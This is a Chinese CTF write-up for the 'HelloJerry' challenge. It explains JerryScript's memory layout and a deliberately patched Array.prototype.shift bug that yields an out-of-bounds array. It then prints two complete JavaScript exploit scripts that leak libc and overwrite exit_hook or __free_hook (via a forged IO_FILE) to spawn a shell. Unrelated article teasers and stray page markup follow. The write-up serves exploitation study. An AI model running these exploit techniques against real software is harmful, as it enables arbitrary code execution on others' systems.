<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從一道題目來學習 JerryScript 引擎的漏洞利用

    VSole2021-12-07 16:56:25

    前言

    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。不過,由于比賽時間有限,因此比賽過程中并未解出來,賽后復現了一下,這里與各位師傅交流一下。

    基礎知識

    在開始講解解題思路前,我們來學習一下關于 JerryScript 的基礎知識。

    這里,為了方便期間,我只挑選了做題時會使用到的內容,剩余的內容大家可以自行去了解一下。

    1、變量表示

    1.1 Array

    在 HelloJerry 中,表達數組的結構體如下,源碼在 jerry-core/ecma/builtin-objects/ecma-globals.h:

    typedef struct{  ecma_object_descriptor_t type_flags_refs;  jmem_cpointer_t gc_next_cp;  union  {    jmem_cpointer_t property_list_cp;    ...  } u1;
      union  {    jmem_cpointer_t prototype_cp;     ...  } u2;} ecma_object_t;
    typedef struct{  ecma_object_t object;   ...  union  {    ...    struct    {      uint32_t length;      uint32_t length_prop_and_hole_count;     } array;  } u;} ecma_extended_object_t;
    

    整個 ecma_extended_object_t 和 

    ecma_object_t 非常龐大,因為它描述了各種各樣的內置對象,這里我只挑出了 Array 會使用到的內容。其中,有幾個屬性值解釋一下:

    • array->object.u1.property_list_cp:數組的存儲區域
    • array->object.u2.prototype_cp:數組的原型所在位置
    • array->u.array.length:數組的長度

    我們來看一個具體的實例:

    let a = [1,2,3,4,5,6,7,8]
    

    然后,我們使用 gdb 來查看一下內存:

    大家是否發現什么不對勁的地方?是的,property_list_cp 和 prototype_cp 的值分為 0x5b 和 0x55,這怎么就描述了一個數組的內存區所在位置呢?

    這里,就是一個有趣的地方,它在取值的時候,會調用一個函數 jmem_decompress_pointer 進行轉換(jerry-core/jmem-jmem-allocator.c):

    extern inline void *JERRY_ATTR_PURE JERRY_ATTR_ALWAYS_INLINEjmem_decompress_pointer (uintptr_t compressed_pointer){  JERRY_ASSERT (compressed_pointer != JMEM_CP_NULL);  uintptr_t uint_ptr = compressed_pointer;  ....  const uintptr_t heap_start = (uintptr_t) &JERRY_HEAP_CONTEXT (first);  ....  uint_ptr <<= JMEM_ALIGNMENT_LOG;// JMEM_ALIGNMENT_LOG = 3  uint_ptr += heap_start;  ....  return (void *) uint_ptr;}
    

    這里我們可以看到,JerryScript 自己實現了一個堆結構來管理堆內存的。而 array 的尋址方式就是 jerry_globals_heap + array->u1.property_list_cp << 3。通過這種方法,就能夠減小內存開銷,這也正是它作為輕量級 JavaScript 引擎的體現。

    1.2 direct number value

    在介紹 Array 的時候,大家是否注意到一個奇怪的現象:似乎所有的整數都向左位移了 4 位。這便是 JerryScript 用于區分和處理 立即數 的方法,我們來看下源碼:

    #define ECMA_INTEGER_NUMBER_MAX 0x7fffff#define ECMA_DIRECT_SHIFT 4#define ECMA_DIRECT_TYPE_INTEGER_VALUE 0
    ecma_value_tecma_make_length_value (ecma_length_t number) /**< number to be encoded */{  if (number <= ECMA_INTEGER_NUMBER_MAX)  {    return ecma_make_integer_value ((ecma_integer_value_t) number);  }
      return ecma_create_float_number ((ecma_number_t) number);}
    extern inline ecma_value_t JERRY_ATTR_CONST JERRY_ATTR_ALWAYS_INLINEecma_make_integer_value (ecma_integer_value_t integer_value) /**< integer number to be encoded */{  JERRY_ASSERT (ECMA_IS_INTEGER_NUMBER (integer_value));
      return (((ecma_value_t) integer_value) << ECMA_DIRECT_SHIFT) | ECMA_DIRECT_TYPE_INTEGER_VALUE;}
    

    可以看到,當我們傳入一個整數的時候。如果它的值小于 0x7ffffff,就會將其當作立即數來處理,處理方式就是 value << 4 | 0,最末尾的 0 代表它的類型。

    同理,當我們進行取值操作時,JerryScript 發現該元素的值最低位為 0,就會將其當成立即數來處理。

    1.3 ArrayBuffer 和 DataView

    typedef struct{  ecma_extended_object_t extended_object; /**< extended object part */  void *buffer_p; /**< pointer to the backing store of the array buffer object */  void *arraybuffer_user_p; /**< user pointer passed to the free callback */} ecma_arraybuffer_pointer_t;
    typedef struct{  ecma_extended_object_t header; /**< header part */  ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */  uint32_t byte_offset; /**< [[ByteOffset]] internal slot */} ecma_dataview_object_t;
    

    ArrayBuffer 和 DataView 這兩個對象,相信做 JavaScript 引擎漏洞挖掘的師傅們都非常熟悉了。

    這里,我們注意到,ArrayBuffer 的結構體存在 buffer_p 這樣的一個指針,它直接指向了 ArrayBuffer 所控制的內存區域,而不是像其他對象那樣,通過偏移計算來得到所控制的內存區域;而在 DataView 的結構體中,buffer_p 則是指向 ArrayBuffer 的結構體首部。

    同樣,我們來個例子看看:

    let a = ["11111111"]a.shift()ab = new ArrayBuffer(0x1000)dv = new DataView(ab)dv.setUint32(0, 0x41414141, true)a.shift()
    

    我們下斷點調試,查看內存區域:

    我們可以看到,ArrayBuffer 管理的內存區域是 0x55555561f828,而 DataView 管理的 ArrayBuffer 對象是在 0x55555561f588,我們找到了剛剛寫入的 0x41414141 就在 0x55555561f828。

    2、內存管理

    JerryScript 在自己程序內部,實現了一個堆管理結構,我們來看一下它的初始化過程(jerry-main/main-jerry.c):

    # JERRY_GLOBAL_HEAP_SIZE (512)int main (int argc, char **argv){    ...    #if defined(JERRY_EXTERNAL_CONTEXT) && (JERRY_EXTERNAL_CONTEXT == 1)      jerry_context_t *context_p = jerry_create_context (JERRY_GLOBAL_HEAP_SIZE * 1024, context_alloc, NULL);      jerry_port_default_set_current_context (context_p);    #endif /* defined (JERRY_EXTERNAL_CONTEXT) && (JERRY_EXTERNAL_CONTEXT == 1) */    ...}
    

    可以看到,jerry_create_context 初始化的堆大小為 1024*512,我們跟進 jerry_create_context:

    jerry_context_t *jerry_create_context (uint32_t heap_size, /**< the size of heap */                      jerry_context_alloc_t alloc, /**< the alloc function */                      void *cb_data_p) /**< the cb_data for alloc function */{  ...  size_t total_size = sizeof (jerry_context_t) + JMEM_ALIGNMENT;  ...  heap_size = JERRY_ALIGNUP (heap_size, JMEM_ALIGNMENT);  ...  total_size += heap_size;  total_size = JERRY_ALIGNUP (total_size, JMEM_ALIGNMENT);  ...  // 從靜態內存區域中申請空間  jerry_context_t *context_p = (jerry_context_t *) alloc (total_size, cb_data_p);  ...  memset (context_p, 0, total_size);
      uintptr_t context_ptr = ((uintptr_t) context_p) + sizeof (jerry_context_t);  context_ptr = JERRY_ALIGNUP (context_ptr, (uintptr_t) JMEM_ALIGNMENT);
      uint8_t *byte_p = (uint8_t *) context_ptr;
      ...  // 它的符號名為 jerry_global_heap  context_p->heap_p = (jmem_heap_t *) byte_p;  // heap 大小  context_p->heap_size = heap_size;  byte_p += heap_size;   ...}
    

    可以看到,jerry_global_heap 是分配在靜態內存區域中,之后 JerryScript 的內存管理相關的操作都在這里完成,操作的相關函數為

    void *jmem_pools_alloc (size_t size);void jmem_pools_free (void *chunk_p, size_t size);void jmem_pools_collect_empty (void);
    

    3、安裝和調試方法

    JerryScript 的官方源碼庫在 jerryscript-project/jerryscript 中,為了方便調試,我們選擇安裝 debug 版本,安裝命令如下:

    python tools/build.py --debug --logging=on --error-messages=on --line-info=on
    

    不過,如果安裝成 DEBUG 版本,在調試的時候會遇到和 V8 一樣的 DCHECK,導致我們無法正常調試漏洞。這里,我們可以修改一下源碼(jerryscript/jerry-core/jrt/jrt.h):

    將 DEBUG 版本下的 JERRY_ASSERT 替換成 RELEASE 版本的 JERRY_ASSERT 即可,如果需要可以從我這里下載。

    至于調試過程,如何下斷點,這里推薦幾個斷點(前面介紹 變量表示 所用到的斷點均來源于此):

    • b path/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:713
    • b path/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:721
    • b path/jerryscript/jerry-main/main-jerry.c:363

    前兩個斷點下在漏洞發生的函數處,最后一個則是在 main 函數的結尾處。如果我們傳入 exp.js 沒有太大問題,一般就會走到最后的 main 結尾處,因此可以用來判斷 exp.js 是否能夠正常走完流程。

    漏洞分析與利用

    我們來查看一下題目提供的 patch 文件:

    diff --git a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.cindex 52b84f89..57064139 100644--- a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c+++ b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c@@ -729,7 +729,7 @@ ecma_builtin_array_prototype_object_shift (ecma_object_t *obj_p, /**< object */
           buffer_p[len - 1] = ECMA_VALUE_UNDEFINED;       ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 1));-+      ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 2));       return ret_value;     }   }
    

    diff 文件給出的源碼是 ecma_builtin_array_prototype_object_shift 函數,對應的是 Array.prototype.shift() 方法。可以看到,出題人故意將 ecma_delete_fast_array_properties 的第二個參數改為 len - 2。也就是說,當我們刪除一個元素時,Array 的長度減少 2,那么當 length = 1 時顯然就會發生符號溢出,產生一個 oob Array,我們來測試一下:

    let a = ["11111111"]a.shift()print(a[0])print(a[1])
    

    來查看一下內存區域:

    可以看到,數組的長度變成了 0xffffffff,這是一個超長的數組,那我們就可以借助它進行任意的越界讀取。

    既然已經有了 oob Array,那么我們就可以嘗試利用它來實現 getshell。這里,我們需要使用到我們熟悉的 ArrayBuffer 和 DataView。

    前面提到,ArrayBuffer buffer_p 是直接存儲地址值,而非像 Array 那樣存儲的是偏移量。那么,如果我們能夠獲取到這個地址值,并且將其的偏移進行修改,比如放到 ArrayBuffer 結構體的前面,那么我們是不是就可以讀取到 ArrayBuffer->buffer_p,這樣便可以泄露出 jerry_global_heap 的地址以及程序加載地址。

    還是以剛剛的例子來看:

    let a = ["11111111"]a.shift()ab = new ArrayBuffer(0x1000)dv = new DataView(ab)dv.setUint32(0, 0x41414141, true)a.shift()
    

    我們查看內存:

    可以看到 ArrayBuffer->buffer_p 最低位并不為 0,怎么辦呢?我們可以嘗試添加一些變量上去。

    let a = ["11111111"]a.shift()ab = new ArrayBuffer(0x1000)dv = new DataView(ab)dv.setUint32(0, 0x41414141, true)
    aa = 1111aaa = 1111aaaaaaaaaaaa = 111print(a[24])a.shift()
    

    我們再次查看內存,可以看到最低位就變為 0 了。

    為什么會這樣呢?這個本質上是因為 JavaScript 的變量提升,JerryScript 會先為每個變量相關的結構體分配內存空間進行存儲,而 jerry_global_heap 本質上是個數組,它的內存是連續分配的,因此 ArrayBuffer->buffer_p 的內存地址就會順延下去了。

    那么,我們嘗試去讀取 ArrayBuffer->buffer_p:

    既然我們可以讀取了,那么我們是不是還可以進行修改呢?當然可以,只要我們計算好偏移即可,這里就不再繼續演示了,各位師傅們可以自己去嘗試。

    解題過程

    有了 oob Array,那么我們就要先泄露地址,然后嘗試劫持程序流獲取控制權。這里,我的思路是

    1. 通過 UAF 泄露 jerry_global_heap,并打印出來
    2. 修改 ArrayBuffer->buffer_p 為 free_got 表值,泄露 free 地址,進而得到 libc 基址
    3. 修改 ArrayBuffer->buffer_p 指向 libc.so 所在內存區域,進行利用。

    這里需要提兩個注意的點:

    1. 由于我們的 oob Array 只能控制低 4 個字節,因此一定要確保所有需要在 JerryScript 程序這邊的信息泄露完畢,再修改 ArrayBuffer->buffer_p 到 libc.so 的內存,否則就再也回不到 JerryScript 這邊了。
    2. 我們在編寫利用腳本的時候,不管是增加變量聲明還是函數調用等,都會對 ArrayBuffer->buffer_p 產生影響,因此這個過程需要很有耐心。另外,這也是為什么要打印出 jerry_global_heap 的值,利用 gdb 調試是默認關閉 aslr,那么 jerry_global_heap 的值默認就是 0x55555561f260(在我的虛擬機中是這樣的)。因此,我們只要看每次打印出來的 jerry_global_heap 的低 4 位與 5561f260 的偏差,然后進行修正即可,可以單獨使用一個變量來表示偏移,比如下面的利用腳本中的 heap_base_offset。

    最后,關于如何 getshell,我給出了兩種利用方法。

    第一種利用方式,就是劫持 exit_hook,具體可以參考文章

    既然我們已經泄露了 libc,那么計算 rtld_global 的偏移也不是什么難事。不過,這種方法會受 ld.so 和 libc.so 加載偏移的影響,這個偏移在不同環境下的值并不相同,因此感覺不太通用:

    let a = ["11111111"]a.shift()ab = new ArrayBuffer(0x1000)dv = new DataView(ab)dv.setUint32(0, 0x41414141, true)
    heap_base_offset = 0xa7jerry_global_heap = [1, 2]jerry_global_heap[0] = a[24] - heap_base_offsetfree_got = jerry_global_heap[0]*0x10 - 0x1490libc_addr = [1, 2]exit_hook = [1, 2]one_gadget = [1, 2]
    a[24] = jerry_global_heap[0] + 0x2ejerry_global_heap[1] = dv.getUint32(0x5c, true)jerry_global_heap[0] = jerry_global_heap[0]*0x10print("jerry_global_heap: 0x"+(jerry_global_heap[0]+jerry_global_heap[1]*0x100000000).toString(16))
    dv.setUint32(0x58, free_got, true)libc_addr[0] = dv.getUint32(0x8, true) - 0x9d850libc_addr[1] = dv.getUint32(0xc, true)print("libc_addr: 0x"+(libc_addr[0]+libc_addr[1]*0x100000000).toString(16))
    exit_hook[0] = 0x23ff60 + libc_addr[0]exit_hook[1] = libc_addr[1]print("exit_hook: 0x"+(exit_hook[0]+exit_hook[1]*0x100000000).toString(16))    
    one_gadget[0] = 0xe6c7e + libc_addr[0]one_gadget[1] = libc_addr[1]print("one_gadget: 0x"+(one_gadget[0]+one_gadget[1]*0x100000000).toString(16))    
    a[24] = a[24] + 0x177exit_hook = exit_hook[0]+exit_hook[1]*0x100000000dv.setBigUint64(0x58, exit_hook, true)
    one_gadget = one_gadget[0]+one_gadget[1]*0x100000000dv.setBigUint64(0x8, one_gadget, true)dv.setBigUint64(0x10, one_gadget, true)ab = new ArrayBuffer(0x1000)// a.shift()
    

    第二種利用方式,則是 house of pig,具體可以參考這篇文章。我們這里可以任意寫,可以更加方便地修改 _IO_list_all、__free_hook 以及偽造 IO_FILE。

    為什么要這么大費周章,而不直接修改 __free_hook 就完事了呢?因為我發現,它除了開始解析 JavaScript 源碼的時候,會使用到 libc 的堆,其余時候包括最后程序結束都不會再使用 libc 的堆。因此,我們需要想辦法讓它調用 free,進而執行到 __free_hook 的 system 函數。

    這種方法比較穩定,不會因環境不同而受影響。

    let a = ["11111111"]a.shift()ab = new ArrayBuffer(0x1000)dv = new DataView(ab)dv.setUint32(0, 0x41414141, true)
    heap_base_offset = 0x12ejerry_global_heap = [1, 2]jerry_global_heap[0] = a[24] - heap_base_offsetfree_got = jerry_global_heap[0]*0x10 - 0x1490libc_addr = [1, 2]free_hook = [1, 2]system_addr = [1, 2]binsh_addr = [1, 2]_IO_str_jumps = [1, 2]_IO_list_all = [1, 2]fake_FILE = [1,2]zero = 0
    a[24] = jerry_global_heap[0] + 0x2ejerry_global_heap[1] = dv.getUint32(0x5c, true)jerry_global_heap[0] = jerry_global_heap[0]*0x10jerry_global_heap = jerry_global_heap[0]+jerry_global_heap[1]*0x100000000print("jerry_global_heap: 0x"+jerry_global_heap.toString(16))
    dv.setUint32(0x58, free_got, true)libc_addr[0] = dv.getUint32(0x8, true) - 0x9d850libc_addr[1] = dv.getUint32(0xc, true)print("libc_addr: 0x"+(libc_addr[0]+libc_addr[1]*0x100000000).toString(16))
    free_hook[0] = 0x1eeb20 + libc_addr[0]free_hook[1] = libc_addr[1]print("free_hook: 0x"+(free_hook[0]+free_hook[1]*0x100000000).toString(16))    
    system_addr[0] = 0x55410 + libc_addr[0]system_addr[1] = libc_addr[1]binsh_addr[0] = 0x1b75aa+libc_addr[0]binsh_addr[1] = libc_addr[1]_IO_str_jumps[0] = 0x1ed560 + libc_addr[0]_IO_str_jumps[1] = libc_addr[1]
    print("system_addr: 0x"+(system_addr[0]+system_addr[1]*0x100000000).toString(16))print("binsh_addr: 0x"+(binsh_addr[0]+binsh_addr[1]*0x100000000).toString(16))print("_IO_str_jumps: 0x"+(_IO_str_jumps[0]+_IO_str_jumps[1]*0x100000000).toString(16))    
    a[24] = a[24] + 0x177 // &free_got -----> & control_basefake_FILE[0] = free_hook[0] + 0x90fake_FILE[1] = free_hook[1]fake_FILE = fake_FILE[0]+fake_FILE[1]*0x100000000print("fake_FILE: 0x"+fake_FILE.toString(16))
    free_hook = free_hook[0]+free_hook[1]*0x100000000system_addr = system_addr[0]+system_addr[1]*0x100000000binsh_addr = binsh_addr[0]+binsh_addr[1]*0x100000000_IO_str_jumps = _IO_str_jumps[0]+_IO_str_jumps[1]*0x100000000
    dv.setBigUint64(0x58, free_hook, true) 
    // FAKE IO_FILEdv.setBigUint64(0x90, zero, true) // _flagdv.setBigUint64(0x98, zero, true) // _IO_read_ptrdv.setBigUint64(0xa0, zero, true) // _IO_read_enddv.setBigUint64(0xa8, zero, true) // _IO_read_basedv.setBigUint64(0xb0, 1, true) //change _IO_write_base = 1dv.setBigUint64(0xb8, 0xffffffffffff, true)dv.setBigUint64(0xc0, zero, true)dv.setBigUint64(0xc8, binsh_addr, true)dv.setBigUint64(0xd0, binsh_addr+0x8, true)
    dv.setBigUint64(0xd8, zero, true)dv.setBigUint64(0xe0, zero, true)dv.setBigUint64(0xe8, zero, true)dv.setBigUint64(0xf0, zero, true)dv.setBigUint64(0xf8, zero, true)dv.setBigUint64(0x100, zero, true)dv.setBigUint64(0x108, zero, true)dv.setBigUint64(0x110, zero, true)dv.setBigUint64(0x118, zero, true)dv.setBigUint64(0x120, zero, true)dv.setBigUint64(0x128, zero, true)dv.setBigUint64(0x130, zero, true)dv.setBigUint64(0x138, zero, true)dv.setBigUint64(0x140, zero, true)dv.setBigUint64(0x148, zero, true)dv.setBigUint64(0x150, zero, true)dv.setBigUint64(0x158, zero, true)dv.setBigUint64(0x160, zero, true)dv.setBigUint64(0x168, _IO_str_jumps, true)
    dv.setBigUint64(0x8, system_addr, true)dv.setBigUint64(0xa40, fake_FILE, true)
    a[24] = a[24] - 0x259  // &free_hook - 0x8 -----> &_IO_list_all - 0x10dv.setBigUint64(0x10, fake_FILE, true)
    // a.shift()
    

    最后,還是需要提一下:我這里使用的是自己編譯的 JerryScript,與題目給的 JerryScript 并不相同,偏移需要自己調整一下。

    運行 jerry 來執行利用腳本,即可 getshell:

    總結

    總的來說,這其實是一道不錯的題目,很考察選手的現學能力,但不太好的一點就是放在 8 個小時的比賽中,做題時間太短了(也許是我太菜了)。不過,還是感謝主辦方,提供了這么一道高質量題目。

    漏洞挖掘arraybuffer
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
    Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
    0x01 確定目標無目標隨便打,有沒有自己對應的SRC應急響應平臺不說,還往往會因為一開始沒有挖掘漏洞而隨意放棄,這樣往往不能挖掘到深層次的漏洞。所以在真的想要花點時間在SRC漏洞挖掘上的話,建議先選好目標。0x02 確認測試范圍前面說到確定測什么SRC,那么下面就要通過一些方法,獲取這個SRC的測試范圍,以免測偏。
    漏洞挖掘工具—afrog
    2023-03-20 10:20:07
    -t http://example.com -o result.html2、掃描多個目標 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、測試單個 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、測試多個 PoC 文件 afrog?
    但又沒登錄怎么獲取的當前用戶的Access-Reset-Ticket真相只有一個,看看接口哪里獲取到的原來是在輸入要找回的用戶就會獲取當前用戶的Access-Reset-Ticket6到了,開發是我大哥嘗試修改可行,修改管理員賬號,然后起飛下機。漏洞已修復,廠商也修復了漏洞更新到了最新版本。
    漏洞挖掘是指對應用程序中未知漏洞的探索,通過綜合應用各種技術和工具,盡可能地找出其中的潛在漏洞。cookie的key為RememberMe,并對相關信息進行序列化,先使用aes加密,然后再使用base64編碼處理形成的。在網上關于Shiro反序列化的介紹很多,我這里就只簡單介紹一下,詳情各位可以看下大神們對其源碼的分析。
    這里建議doc文檔,圖片可以貼的詳細一些。爆破完好了,一樣的6。想給它一個清晰完整的定義其實是非常困難的。
    一、漏洞挖掘的前期–信息收集 雖然是前期,但是卻是我認為最重要的一部分; 很多人挖洞的時候說不知道如何入手,其實挖洞就是信息收集+常規owasp top 10+邏輯漏洞(重要的可能就是思路猥瑣一點),這些漏洞的測試方法本身不是特別復雜,一般混跡在安全圈子的人都能復現漏洞。接下來我就著重說一下我在信息收集方面的心得。
    針對被分析目標程序,手工構造特殊輸入條件,觀察輸出、目標狀態變化等,獲得漏洞的分析技術。輸入包括有效的和無效的輸入,輸出包括正常輸出和非正常輸出。安全公告或補丁發布說明書中一般不指明漏洞的準確位置和原因,黑客很難僅根據該聲明利用漏洞。代碼流分析主要是通過設置斷點動態跟蹤目標程序代碼流,以檢測有缺陷的函數調用及其參數。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类